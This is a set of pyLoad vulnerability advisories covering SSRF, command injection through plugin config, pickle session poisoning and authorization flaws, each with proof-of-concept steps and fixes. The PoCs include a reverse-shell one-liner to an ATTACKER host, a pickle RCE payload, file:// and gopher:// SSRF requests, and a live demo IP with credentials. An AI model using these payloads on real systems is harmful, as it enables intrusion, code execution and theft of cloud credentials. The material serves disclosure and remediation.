Package Instance

pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter
## Vulnerability Details

**CWE-918**: Server-Side Request Forgery (SSRF)

The `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:

- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- **Read local files** via `file://` protocol (pycurl reads the file server-side)
- **Interact with internal services** via `gopher://` and `dict://` protocols
- **Enumerate file existence** via error-based oracle (error 37 vs empty response)

### Vulnerable Code

**`src/pyload/core/api/__init__.py` (line 556)**:

```python
def parse_urls(self, html=None, url=None):
    if url:
        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist
        urls.update(RE_URLMATCH.findall(page))
```

No validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default.

## Steps to Reproduce

### Setup

```bash
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
```

Log in as any user with ADD permission and extract the CSRF token:

```bash
CSRF=
```

### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)

```bash
curl -s -b "pyload_session_8000=<SESSION>"   -H "X-CSRFToken: "   -H "Content-Type: application/x-www-form-urlencoded"   -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc"   http://localhost:8084/api/parse_urls
```

**Result**: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.

### PoC 2: Local file read via file:// protocol

```bash
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}

# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}
```

The difference confirms pycurl successfully reads local files. While `parse_urls` only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a **file existence oracle**.

Files confirmed readable:
- `/etc/passwd`, `/etc/hosts`
- `/proc/self/environ` (process environment variables)
- `/config/settings/pyload.cfg` (pyLoad configuration)
- `/config/data/pyload.db` (SQLite database)

### PoC 3: Internal port scanning

```bash
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')
```

### PoC 4: gopher:// and dict:// protocol support

```bash
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls
```

Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).

## Impact

An authenticated user with ADD permission can:

- **Read local files** via `file://` protocol (configuration, credentials, database files)
- **Enumerate file existence** via error-based oracle (`Couldn't open file` vs empty response)
- **Access cloud metadata endpoints** (AWS IAM credentials at `http://169.254.169.254/`, GCP service tokens)
- **Scan internal network** services and ports via error-based timing
- **Interact with internal services** via `gopher://` (Redis RCE, SMTP relay) and `dict://`
- **Exfiltrate data** via DNS/HTTP to attacker-controlled servers

The multi-protocol support (`file://`, `gopher://`, `dict://`) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.

## Proposed Fix

Restrict allowed protocols and validate target addresses:

```python
from urllib.parse import urlparse
import ipaddress
import socket

def _is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ('http', 'https'):
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    try:
        for info in socket.getaddrinfo(hostname, None):
            ip = ipaddress.ip_address(info[4][0])
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                return False
    except (socket.gaierror, ValueError):
        return False
    return True

def parse_urls(self, html=None, url=None):
    if url:
        if not _is_safe_url(url):
            raise ValueError("URL targets a restricted address or uses a disallowed protocol")
        page = get_url(url)
        urls.update(RE_URLMATCH.findall(page))
```

pyLoad: Improper Neutralization of Special Elements used in an OS Command
### Summary

The `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution.

### Details

**Safe wrapper — `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):**

```python
ADMIN_ONLY_OPTIONS = {
    "reconnect.script",      # Blocks script path change
    "webui.host",            # Blocks bind address change
    "ssl.cert_file",         # Blocks cert path change
    "ssl.key_file",          # Blocks key path change
    # ... other sensitive options
}
```

**Where it IS enforced — core config (core/api/__init__.py:255):**

```python
def set_config_value(self, section, option, value):
    if f"{section}.{option}" in ADMIN_ONLY_OPTIONS:
        if not self.user.is_admin:
            raise PermissionError("Admin only")
    # ...
```

**Where it is NOT enforced — plugin config (core/api/__init__.py:271-272):**

```python
    # Plugin config - NO admin check at all
    self.pyload.config.set_plugin(category, option, value)
```

**Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):**

```python
def scan_file(self, file):
    avfile = self.config.get("avfile")    # User-controlled via plugin config
    avargs = self.config.get("avargs")
    subprocess.Popen([avfile, avargs, target])  # RCE
```

### PoC

```bash
# As non-admin user with SETTINGS permission:

# 1. Set AntiVirus executable to a reverse shell
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avfile' \
  -d 'value=/bin/bash'

curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avargs' \
  -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# 2. Enable the AntiVirus plugin
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.activated' \
  -d 'value=True'

# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload
curl -b session_cookie -X POST http://TARGET:8000/api/add_package \
  -d 'name=test' \
  -d 'links=http://example.com/test.zip'

# Result: reverse shell as the pyload process user
```

### Additional Finding: Arbitrary File Read via storage_folder

The `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.

### Impact

- **Remote Code Execution** — Non-admin user can execute arbitrary commands via AntiVirus plugin config
- **Privilege escalation** — SETTINGS permission (non-admin) escalates to full system access
- **Arbitrary file read** — Via storage_folder manipulation

### Remediation

Apply `ADMIN_ONLY_OPTIONS` to plugin config as well:

```python
# In set_config_value():
ADMIN_ONLY_PLUGIN_OPTIONS = {
    "AntiVirus.avfile",
    "AntiVirus.avargs",
    # ... any plugin option that controls executables or paths
}

if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS:
    if not self.user.is_admin:
        raise PermissionError("Admin only")
```

Or better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`.

pyLoad: Unprotected storage_folder enables arbitrary file write to Flask session store and code execution (Incomplete fix for CVE-2026-33509)
## Summary

The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an `ADMIN_ONLY_OPTIONS` set to block non-admin users from modifying security-critical config options. The `storage_folder` option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.

## Required Privileges

The chain requires a single non-admin user with both `SETTINGS` (to change `storage_folder`) and `ADD` (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.

## Root Cause

`storage_folder` at `src/pyload/core/api/__init__.py:238-246` has a path check that blocks writing inside PKGDIR or userdir using `os.path.realpath`. However, Flask's filesystem session directory (`/tmp/pyLoad/flask/` in the standard Docker deployment) is outside both restricted paths.

pyload configures Flask with `SESSION_TYPE = "filesystem"` at `__init__.py:127`. The cachelib `FileSystemCache` stores session files as `md5("session:" + session_id)` and deserializes them with `pickle.load()` on every request that carries the corresponding session cookie.

## Proven RCE Chain

Tested against `lscr.io/linuxserver/pyload-ng:latest` Docker image.

**Step 1** — Change download directory to Flask session store:

    POST /api/set_config_value
    {"section":"core","category":"general","option":"storage_folder","value":"/tmp/pyLoad/flask"}

The path check resolves `/tmp/pyLoad/flask/` via `realpath`. It does not start with PKGDIR (`/lsiopy/.../pyload/`) or userdir (`/config/`). Check passes.

**Step 2** — Compute the target session filename:

    md5("session:ATTACKER_SESSION_ID") = 92912f771df217fb6fbfded6705dd47c

Flask-Session uses cachelib which stores files as `md5(key_prefix + session_id)`. The default key prefix is `session:`.

**Step 3** — Host and download the malicious pickle payload:

    import pickle, os, struct
    class RCE:
        def __reduce__(self):
            return (os.system, ("id > /tmp/pyload-rce-success",))
    session = {"_permanent": True, "rce": RCE()}
    payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2)
    # struct.pack("I", 0) = cachelib timeout header (0 = never expires)

Serve as `http://attacker.com/92912f771df217fb6fbfded6705dd47c` and submit:

    POST /api/add_package
    {"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}

The file is saved to `/tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c`.

**Step 4** — Trigger deserialization (unauthenticated):

    curl http://target:8000/ -b "pyload_session_8000=ATTACKER_SESSION_ID"

The session cookie name is `pyload_session_` + the configured port number (`__init__.py:128`).

Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls `pickle.load()`. The RCE gadget executes.

**Result**:

    $ docker exec pyload-poc cat /tmp/pyload-rce-success
    uid=1000(abc) gid=1000(users) groups=1000(users)

## Impact

A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:

- Execute arbitrary commands with the privileges of the pyload process
- Read environment variables (API keys, credentials)
- Access the filesystem (download history, user database)
- Pivot to other network resources

## Suggested Fix

Add `storage_folder` to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):

    ADMIN_ONLY_OPTIONS = {
        ...
        ("general", "storage_folder"),  # ADDED: prevents session poisoning RCE
        ...
    }

Also correct the existing wrong option names:

    ("webui", "ssl_certfile"),  # FIXED: was "ssl_cert" (dead code)
    ("webui", "ssl_keyfile"),   # FIXED: was "ssl_key" (dead code)

PyLoad vulnerable to unauthenticated traceback disclosure via global exception handler in WebUI
### Summary
`pyload-ng` WebUI returns full Python traceback details to clients on unhandled exceptions.

Because `/web/<path:filename>` is reachable without authentication and renders attacker-controlled template names, an unauthenticated user can reliably trigger a server exception (for example by requesting a non-existent template) and receive internal stack traces in the HTTP response.

### Details
The issue is caused by the combination of:

1. Unauthenticated template-render route:
- `src/pyload/webui/app/blueprints/app_blueprint.py:32-36`
  - `@bp.route("/web/<path:filename>", endpoint="web")`
  - `data = render_template(filename)` with user-controlled `filename`
  - no `@login_required(...)` on this route

2. Global exception handler exposes traceback to response:
- `src/pyload/webui/app/handlers.py:14-27`
  - `tb = traceback.format_exc()`
  - `messages.extend(tb.split('\n'))`
  - returned in rendered error page for all exceptions

3. Error page renders all `messages`:
- `src/pyload/webui/app/themes/modern/templates/base.html:217-219`
  - loops over `messages` and prints them in response HTML

So any unhandled exception can disclose internal implementation details (stack frames, source paths, exception metadata) to remote unauthenticated clients. 

This is a core behavior issue in default WebUI error handling

### PoC
```python
#!/usr/bin/env python3
from __future__ import annotations

import re
import shutil
import tempfile
import traceback
from pathlib import Path


ROOT = Path(__file__).resolve().parent / "pyload" / "src" / "pyload"


def read_text(rel: str) -> str:
    return (ROOT / rel).read_text(encoding="utf-8")


def route_has_no_login_required(app_blueprint: str) -> bool:
    m = re.search(
        r'@bp\\.route\\("/web/<path:filename>", endpoint="web"\\)\\s*'
        r"def render\\(filename\\):(?P<body>.*?)(?:\\n\\n@bp\\.route|\\Z)",
        app_blueprint,
        re.DOTALL,
    )
    if not m:
        return False
    block_start = max(0, m.start() - 200)
    block = app_blueprint[block_start:m.end()]
    return "@login_required(" not in block


def main() -> None:
    workdir = Path(tempfile.mkdtemp(prefix="pyload-traceback-infoleak-"))
    try:
        app_blueprint = read_text("webui/app/blueprints/app_blueprint.py")
        handlers = read_text("webui/app/handlers.py")
        base_template = read_text("webui/app/themes/modern/templates/base.html")

        unauth_web_route = '/web/<path:filename>' in app_blueprint and route_has_no_login_required(app_blueprint)
        user_controlled_template_name = "render_template(filename)" in app_blueprint
        handler_uses_traceback = "traceback.format_exc()" in handlers
        handler_appends_trace = "messages.extend(tb.split('\\n'))" in handlers
        global_exception_handler = "(Exception, handle_exception_error)" in handlers
        template_renders_messages = "{% for message in messages %}" in base_template and "{{message}}" in base_template

        leaked_traceback_keyword = False
        leaked_exception_type = False
        try:
            raise RuntimeError("forced-poc-error")
        except Exception:
            tb = traceback.format_exc()
            messages = [f"Error 500: forced-poc-error"]
            messages.extend(tb.split("\\n"))
            joined = "\\n".join(messages)
            leaked_traceback_keyword = "Traceback (most recent call last)" in joined
            leaked_exception_type = "RuntimeError: forced-poc-error" in joined

        repro_success = all(
            [
                unauth_web_route,
                user_controlled_template_name,
                handler_uses_traceback,
                handler_appends_trace,
                global_exception_handler,
                template_renders_messages,
                leaked_traceback_keyword,
                leaked_exception_type,
            ]
        )

        print("unauth_web_route=", unauth_web_route)
        print("user_controlled_template_name=", user_controlled_template_name)
        print("handler_uses_traceback=", handler_uses_traceback)
        print("handler_appends_trace=", handler_appends_trace)
        print("global_exception_handler=", global_exception_handler)
        print("template_renders_messages=", template_renders_messages)
        print("leaked_traceback_keyword=", leaked_traceback_keyword)
        print("leaked_exception_type=", leaked_exception_type)
        print("traceback_infoleak_repro_success=", repro_success)
    finally:
        shutil.rmtree(workdir, ignore_errors=True)
        print("cleanup_done=True")


if __name__ == "__main__":
    main()
```

Observed result:
```text
unauth_web_route= True
user_controlled_template_name= True
handler_uses_traceback= True
handler_appends_trace= True
global_exception_handler= True
template_renders_messages= True
leaked_traceback_keyword= True
leaked_exception_type= True
traceback_infoleak_repro_success= True
cleanup_done=True
```

### Impact
- Vulnerability type: Information disclosure (stack trace / internal path leakage).
- Attack surface: unauthenticated WebUI request path.
- Exposes internal error details that help attackers map application internals and improve exploit reliability for follow-on attacks.

pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)
## Summary

The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to `BaseDownloader.download()` that checks the hostname of the initial download URL. However, pycurl is configured with `FOLLOWLOCATION=1` and `MAXREDIRS=10`, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.

An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

## Root Cause

The SSRF check at `src/pyload/plugins/base/downloader.py:335-341` validates only the initial URL:

    dl_hostname = urllib.parse.urlparse(dl_url).hostname
    if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):
        self.fail(...)
    else:
        for ip in host_to_ip(dl_hostname):
            if not is_global_address(ip):
                self.fail(...)

After the check passes, `_download()` is called. pycurl is configured at `src/pyload/core/network/http/http_request.py:114-115` to follow redirects:

    self.c.setopt(pycurl.FOLLOWLOCATION, 1)
    self.c.setopt(pycurl.MAXREDIRS, 10)

No `CURLOPT_REDIR_PROTOCOLS` restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.

## PoC

Redirect server (attacker-controlled):

    from http.server import HTTPServer, BaseHTTPRequestHandler

    class RedirectHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(302)
            self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
            self.end_headers()

    HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()

Submit to pyload (requires ADD permission):

    curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
      -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'

The SSRF check resolves `attacker.com` to a public IP and passes. pycurl follows the 302 redirect to `http://169.254.169.254/metadata/v1.json` without validation. Cloud metadata is downloaded and saved to the storage folder.

## Impact

An authenticated user with ADD permission can access:

- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity
- Internal network services (10.x, 172.16.x, 192.168.x)
- Localhost services (127.0.0.1)

This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.

## Suggested Fix

Disable automatic redirect following and validate each redirect target:

    # In HTTPRequest.__init__():
    self.c.setopt(pycurl.FOLLOWLOCATION, 0)

Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:

    self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)

And add a pycurl callback to validate redirect destination IPs before following.

## Resources

- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.

pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
### Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model.

Confirmed mismatches:
- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`
- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`

### Details
pyLoad defines granular permissions in core API:
- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)
- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)
- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)

But WebUI JSON routes use weaker checks:
- `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)
- `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)
- `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)

Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with `MODIFY`:
  - `/json/move_package` -> `@login_required("MODIFY")` (`json_blueprint.py:188-196`)
  - `/json/edit_package` -> `@login_required("MODIFY")` (`json_blueprint.py:202-217`)
- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.

### PoC
Environment:
- Repository version: `0.5.0b3` (`VERSION` file)
- Commit tested: `ddc53b3d7`

PoC A (ADD-only user invokes MODIFY-only reorder):
```python
import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'attacker'

    def order_package(self, pack_id, pos):
        self.calls.append(('order_package', int(pack_id), int(pos)))

    def order_file(self, file_id, pos):
        self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'attacker'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.ADD)

    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
```

Observed output:
```text
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
```

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
```python
import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
    def __init__(self):
        self.calls = []

    def user_exists(self, username):
        return username == 'u'

    def stop_downloads(self, ids):
        self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
    with c.session_transaction() as s:
        s['authenticated'] = True
        s['name'] = 'u'
        s['role'] = int(Role.USER)
        s['perms'] = int(Perms.DELETE)

    r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)
```

Observed output:
```text
API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]
```

### Impact
Type:
- Improper authorization / permission-bypass between WebUI and core API permission model.

Scope:
- Horizontal privilege escalation among authenticated non-admin users.
- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.

Security impact:
- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.
- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.

pyLoad has Stale Session Privilege After Role/Permission Change (Privilege Revocation Bypass)
### Summary
pyLoad caches `role` and `permission` in the session at login and continues to authorize requests using these cached values, even after an admin changes the user's role/permissions in the database.

As a result, an already logged-in user can keep old (revoked) privileges until logout/session expiry, enabling continued privileged actions.

This is a core authorization/session-consistency issue and is not resolved by toggling an optional security feature.

### Details
The WebUI auth flow stores authorization state in session:

- `src/pyload/webui/app/helpers.py:187-200`
  - `set_session(...)` writes:
    - `"role": user_info["role"]`
    - `"perms": user_info["permission"]`

Authorization checks later trust cached session values:

- `src/pyload/webui/app/helpers.py:134-151`
  - `parse_permissions(...)` reads `session.get("role")` / `session.get("perms")`
- `src/pyload/webui/app/helpers.py:225-230`
  - `is_authenticated(...)` only verifies `authenticated` and `api.user_exists(user)` (existence), not fresh role/permission
- `src/pyload/webui/app/helpers.py:267-275`
  - `login_required(...)` uses `parse_permissions(s)` for allow/deny decisions
- `src/pyload/webui/app/helpers.py:356-365`
  - API session auth path also trusts `s["role"]` and `s["perms"]`

Role/permission updates are written to DB but active sessions are not invalidated/refreshed:

- `src/pyload/webui/app/blueprints/json_blueprint.py:389-434`
  - `update_users(...)` calls `api.set_user_permission(...)` and returns
- `src/pyload/core/api/__init__.py:1643-1645`
  - `set_user_permission(...)` updates DB role/permission only

Default exposure window is long:

- `src/pyload/core/config/default.cfg:47`
  - `session_lifetime = 44640` minutes (~31 days)

Therefore, privilege revocation is not enforced immediately for active sessions.

Note on duplicates:
- This appears distinct from CVE-2023-0227 (session validity after **user deletion**) because this report is about stale authorization after **role/permission changes** while the user still exists.

### PoC

```python
#!/usr/bin/env python3
"""
Repro: stale session privilege after role/permission changes.

This PoC is source-based and leaves no persistent state.
It validates that:
1) Role/permission are cached into session at login.
2) Authorization checks read role/permission from session, not fresh DB values.
3) User updates write DB permission/role without invalidating active sessions.
4) Default session lifetime is long, increasing stale-privilege exposure window.
"""

from __future__ import annotations

import pathlib
import re
from typing import Iterable


ROOT = pathlib.Path(__file__).resolve().parent / "pyload" / "src" / "pyload"


def read(rel: str) -> str:
    return (ROOT / rel).read_text(encoding="utf-8")


def has_any(text: str, patterns: Iterable[str]) -> bool:
    return all(re.search(p, text, re.MULTILINE) for p in patterns)


def main() -> None:
    helpers = read("webui/app/helpers.py")
    json_blueprint = read("webui/app/blueprints/json_blueprint.py")
    api_init = read("core/api/__init__.py")
    default_cfg = (ROOT / "core/config/default.cfg").read_text(encoding="utf-8")

    checks = {
        "set_session_caches_role_perms": has_any(
            helpers,
            [
                r'def\\s+set_session\\(',
                r'"role"\\s*:\\s*user_info\\["role"\\]',
                r'"perms"\\s*:\\s*user_info\\["permission"\\]',
            ],
        ),
        "is_authenticated_only_checks_user_exists": has_any(
            helpers,
            [
                r'def\\s+is_authenticated\\(',
                r'api\\s*=\\s*flask\\.current_app\\.config\\["PYLOAD_API"\\]',
                r'return\\s+authenticated\\s+and\\s+api\\.user_exists\\(user\\)',
            ],
        ),
        "parse_permissions_reads_session_cache": has_any(
            helpers,
            [
                r'def\\s+parse_permissions\\(',
                r'session\\.get\\("role"\\)\\s*==\\s*Role\\.ADMIN',
                r'session\\.get\\("perms"\\)',
            ],
        ),
        "login_required_uses_parse_permissions_session": has_any(
            helpers,
            [
                r'def\\s+login_required\\(',
                r'if\\s+is_authenticated\\(s\\):',
                r'perms\\s*=\\s*parse_permissions\\(s\\)',
            ],
        ),
        "api_session_auth_uses_cached_role_perms": has_any(
            helpers,
            [
                r'if\\s+is_authenticated\\(s\\):',
                r'"role"\\s*:\\s*s\\["role"\\]',
                r'"permission"\\s*:\\s*s\\["perms"\\]',
            ],
        ),
        "update_users_changes_db_without_session_invalidation": has_any(
            json_blueprint,
            [
                r'def\\s+update_users\\(',
                r'api\\.set_user_permission\\(name,\\s*data\\["permission"\\],\\s*data\\["role"\\]\\)',
                r'return\\s+jsonify\\(True\\)',
            ],
        ),
        "set_user_permission_only_updates_db": has_any(
            api_init,
            [
                r'def\\s+set_user_permission\\(',
                r'self\\.pyload\\.db\\.set_permission\\(user,\\s*permission\\)',
                r'self\\.pyload\\.db\\.set_role\\(user,\\s*role\\)',
            ],
        ),
        "default_session_lifetime_long": re.search(
            r'session_lifetime\\s*:\\s*"Session lifetime \\(minutes\\)"\\s*=\\s*44640',
            default_cfg,
            re.MULTILINE,
        )
        is not None,
    }

    for name, ok in checks.items():
        print(f"{name}={ok}")

    stale_privilege_repro_success = all(checks.values())
    print(f"stale_privilege_repro_success={stale_privilege_repro_success}")

    # Cleanup: this PoC creates/modifies no runtime/data files.
    print("cleanup_done=True")


if __name__ == "__main__":
    main()
```

```text
set_session_caches_role_perms=True
is_authenticated_only_checks_user_exists=True
parse_permissions_reads_session_cache=True
login_required_uses_parse_permissions_session=True
api_session_auth_uses_cached_role_perms=True
update_users_changes_db_without_session_invalidation=True
set_user_permission_only_updates_db=True
default_session_lifetime_long=True
stale_privilege_repro_success=True
cleanup_done=True
```

### Impact
- Privilege revocation is not immediate for active sessions.
- A user can continue using stale, previously granted privileges (including admin) after downgrade/restriction.
- This can allow continued access to privileged WebUI/API actions until session expiry or manual logout/session reset.

pyLoad's Session Not Invalidated After Permission Changes
### Summary
The `pyload` application does not properly invalidate or modify sessions upon changes made to a user's permissions.

### Details
Whenever an administrator changes the permissions a specific account has, they do not expect that account still being able to access data that their new permissions do not allow. This is not the case for the `pyload` application, as a user with a valid session can still perform the actions.

### PoC
Take a user with all the permissions, as shown below.
![image](https://user-images.githubusercontent.com/44903767/294956335-0e4da84f-bf9a-42c8-87f1-f5ff35967c63.png)

We now log in as this user.
![image](https://user-images.githubusercontent.com/44903767/294956539-ac6805fe-957d-4289-8ca9-2f3b6b2878a3.png)

Let us now take away all the permissions.
![image](https://user-images.githubusercontent.com/44903767/294956689-757e6e08-03fd-42eb-b4a5-1ceefa6c24ed.png)

The logged in session can still be used to access everything in the application.
![image](https://user-images.githubusercontent.com/44903767/294956943-fa0f23c0-a28c-4eed-89d6-1cc074feda6d.png)

### Impact
Should permissions be taken away, then the user is expected not to be able to execute the actions belonging to those actions anymore.

pyLoad: Server-Side Request Forgery via Download Link Submission Enables Cloud Metadata Exfiltration
## Summary

PyLoad's download engine accepts arbitrary URLs without validation, enabling Server-Side Request Forgery (SSRF) attacks. An authenticated attacker can exploit this to access internal network services and exfiltrate cloud provider metadata. On DigitalOcean droplets, this exposes sensitive infrastructure data including droplet ID, network configuration, region, authentication keys, and SSH keys configured in user-data/cloud-init.

## Details

The vulnerability exists in PyLoad's download package functionality (`/api/addPackage` endpoint), which directly passes user-supplied URLs to the download engine without validating the destination. The affected code in `src/pyload/webui/app/blueprints/api_blueprint.py`:

```python
@bp.route("/addPackage", methods=["POST"], endpoint="add_package")
@login_required
def add_package():
    name = flask.request.form["add_name"]
    links = flask.request.form["add_links"].split("\n")
    # ... validation omitted ...
    api.add_package(name, links, dest)  # No URL validation
```

The download engine in `src/pyload/core/managers/download.py` accepts any URL scheme and initiates HTTP requests to arbitrary destinations, including internal network addresses and cloud metadata endpoints.

## Proof of Concept

**Live Demo Instance:** http://143.244.141.81:8000  
**Credentials:** `pyload` / `pyload`

- Login into the pyload application
- Navigate to package tab and enter the package name and fill the Link section with the following URL

```
http://169.254.169.254/metadata/v1.json
```

<img width="1851" height="786" alt="image" src="https://github.com/user-attachments/assets/18e7aedf-7663-4a57-8f3e-5200be2c958e" />

